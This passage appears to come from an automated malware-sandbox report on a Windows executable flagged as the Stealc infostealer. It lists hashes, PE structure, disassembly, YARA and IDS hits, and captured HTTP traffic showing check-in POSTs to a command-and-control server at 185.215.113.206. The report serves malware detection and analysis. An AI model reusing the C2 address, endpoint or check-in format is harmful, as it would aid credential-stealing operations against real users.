	https://docs.google.com/drawings/d/1agK-6fGF4y65hrPDNlHipoTNyumPU-yxdwKLkQWhsQI/preview?pli=1oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YEbgh9nHpcsGxk5oPV9kwbB7UH4rAmZq9HDFgMGAo29Qgv7cs7YE	Get hash	malicious	Unknown	Browse	13.107.246.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947416099994073
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'834'496 bytes
MD5:	3833a1b7c23d66eecec6b16ddf5cf540
SHA1:	05182934e239a8e6715ada16e0ddcde3b7598e05
SHA256:	96f09e8bd3f67c287a0bb1529d5220d9496a233fba5b1608366a2c280a864dd2
SHA512:	3c824f5aa05ff6ba2a1f9d805d2d1f755f1a8a5646d367c325d0a7b6b38d0dfedd61e75f984fcc6686c27fd1a4c5147f874a9a468ef15aed589ed993d2033069
SSDEEP:	49152:8mRhmhK5ZSLue0v+HpxCBlwQhwegB589ooccs9GULcbHN1:JCKyvHpxC7BCLoULyt1
TLSH:	66853308BD684A6CC9AA8E7815AF8F8FE6651908DE3707932B3C2503353C27F9316D57
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...9$.g...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa92000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671C2439 [Fri Oct 25 23:05:29 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F47DCEE0ECAh
paddusb mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	d3b01b827379ee525cfe171886a96f3a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x299000	0x200	a1f9d605966ea6fc9df20e5f122a3960	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rhebxyzr	0x4f7000	0x19a000	0x199c00	f34a1321ebe2a7919025483fd801ab60	False	0.9951511497101891	data	7.953785461765037	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gzayextq	0x691000	0x1000	0x400	c58b1ce18291d655eb3a94c1e073947c	False	0.78515625	data	6.105330411148558	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x692000	0x3000	0x2200	3190f6cc3b2153cc5b0de2090890dacc	False	0.06135110294117647	DOS executable (COM)	0.7026692356155418	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-26T05:55:08.006858+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 05:55:06.800345898 CEST	49704	80	192.168.2.5	185.215.113.206
Oct 26, 2024 05:55:06.805668116 CEST	80	49704	185.215.113.206	192.168.2.5
Oct 26, 2024 05:55:06.805761099 CEST	49704	80	192.168.2.5	185.215.113.206
Oct 26, 2024 05:55:06.813767910 CEST	49704	80	192.168.2.5	185.215.113.206
Oct 26, 2024 05:55:06.819065094 CEST	80	49704	185.215.113.206	192.168.2.5
Oct 26, 2024 05:55:07.717093945 CEST	80	49704	185.215.113.206	192.168.2.5
Oct 26, 2024 05:55:07.717329025 CEST	49704	80	192.168.2.5	185.215.113.206
Oct 26, 2024 05:55:07.720807076 CEST	49704	80	192.168.2.5	185.215.113.206
Oct 26, 2024 05:55:07.726178885 CEST	80	49704	185.215.113.206	192.168.2.5
Oct 26, 2024 05:55:08.006592989 CEST	80	49704	185.215.113.206	192.168.2.5
Oct 26, 2024 05:55:08.006858110 CEST	49704	80	192.168.2.5	185.215.113.206
Oct 26, 2024 05:55:11.563586950 CEST	49704	80	192.168.2.5	185.215.113.206

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 26, 2024 05:55:17.543045998 CEST	1.1.1.1	192.168.2.5	0x705	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 05:55:17.543045998 CEST	1.1.1.1	192.168.2.5	0x705	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	5752	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 05:55:06.813767910 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 26, 2024 05:55:07.717093945 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 26, 2024 05:55:07.720807076 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJE Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 41 35 43 35 37 43 45 37 41 38 39 35 31 34 37 30 31 38 32 35 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="hwid"4A5C57CE7A89514701825------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="build"puma------GHDAAKJEGCFCAKEBKJJE--
Oct 26, 2024 05:55:08.006592989 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	23:55:04
Start date:	25/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa40000
File size:	1'834'496 bytes
MD5 hash:	3833A1B7C23D66EECEC6B16DDF5CF540
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2137808772.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2096593419.00000000053F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00A59860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01600CD8), ref: 00A598A1
GetProcAddress.KERNEL32(75900000,01600E10), ref: 00A598BA
GetProcAddress.KERNEL32(75900000,01600C60), ref: 00A598D2
GetProcAddress.KERNEL32(75900000,01600ED0), ref: 00A598EA
GetProcAddress.KERNEL32(75900000,01600E28), ref: 00A59903
GetProcAddress.KERNEL32(75900000,01608FF8), ref: 00A5991B
GetProcAddress.KERNEL32(75900000,015F6A00), ref: 00A59933
GetProcAddress.KERNEL32(75900000,015F6740), ref: 00A5994C
GetProcAddress.KERNEL32(75900000,01600CF0), ref: 00A59964
GetProcAddress.KERNEL32(75900000,01600E40), ref: 00A5997C
GetProcAddress.KERNEL32(75900000,01600F00), ref: 00A59995
GetProcAddress.KERNEL32(75900000,01600E70), ref: 00A599AD
GetProcAddress.KERNEL32(75900000,015F6900), ref: 00A599C5
GetProcAddress.KERNEL32(75900000,01600C78), ref: 00A599DE
GetProcAddress.KERNEL32(75900000,01600D38), ref: 00A599F6
GetProcAddress.KERNEL32(75900000,015F68C0), ref: 00A59A0E
GetProcAddress.KERNEL32(75900000,01600E88), ref: 00A59A27
GetProcAddress.KERNEL32(75900000,01600F90), ref: 00A59A3F
GetProcAddress.KERNEL32(75900000,015F67A0), ref: 00A59A57
GetProcAddress.KERNEL32(75900000,01601008), ref: 00A59A70
GetProcAddress.KERNEL32(75900000,015F6A20), ref: 00A59A88
LoadLibraryA.KERNEL32(01600F60,?,00A56A00), ref: 00A59A9A
LoadLibraryA.KERNEL32(01600FC0,?,00A56A00), ref: 00A59AAB
LoadLibraryA.KERNEL32(01601020,?,00A56A00), ref: 00A59ABD
LoadLibraryA.KERNEL32(01600FD8,?,00A56A00), ref: 00A59ACF
LoadLibraryA.KERNEL32(01600F78,?,00A56A00), ref: 00A59AE0
GetProcAddress.KERNEL32(75070000,01600FA8), ref: 00A59B02
GetProcAddress.KERNEL32(75FD0000,01600FF0), ref: 00A59B23
GetProcAddress.KERNEL32(75FD0000,016094F8), ref: 00A59B3B
GetProcAddress.KERNEL32(75A50000,01609360), ref: 00A59B5D
GetProcAddress.KERNEL32(74E50000,015F6820), ref: 00A59B7E
GetProcAddress.KERNEL32(76E80000,01608F68), ref: 00A59B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00A59BB6

Strings

NtQueryInformationProcess, xrefs: 00A59BAA

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: d4a59f602f4bfed9a7dbf046dc4d4abd8675d9508552893d2af30293f120fdc1
Instruction ID: 7963dd17b8e8aafce89e45cf7deda8877dbbc1c2229077dce0d60da07d12602a
Opcode Fuzzy Hash: d4a59f602f4bfed9a7dbf046dc4d4abd8675d9508552893d2af30293f120fdc1
Instruction Fuzzy Hash: D5A12BB5500240AFF344EFA9ED88B5E37F9F78C701704451BE609D32A4D739A852EB6A

Function 00A445C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00A4460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00A4479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A44713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A44734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A44765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A446D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A445C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A445D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A44770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A445E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A4474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A446C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A44638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A44622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A446B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A44657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A4477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A44678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A446CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A4475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A44683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A44617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A44643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A44729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A4462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A4466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A44662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A445DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A4473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A4471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A445F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00A446AC

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
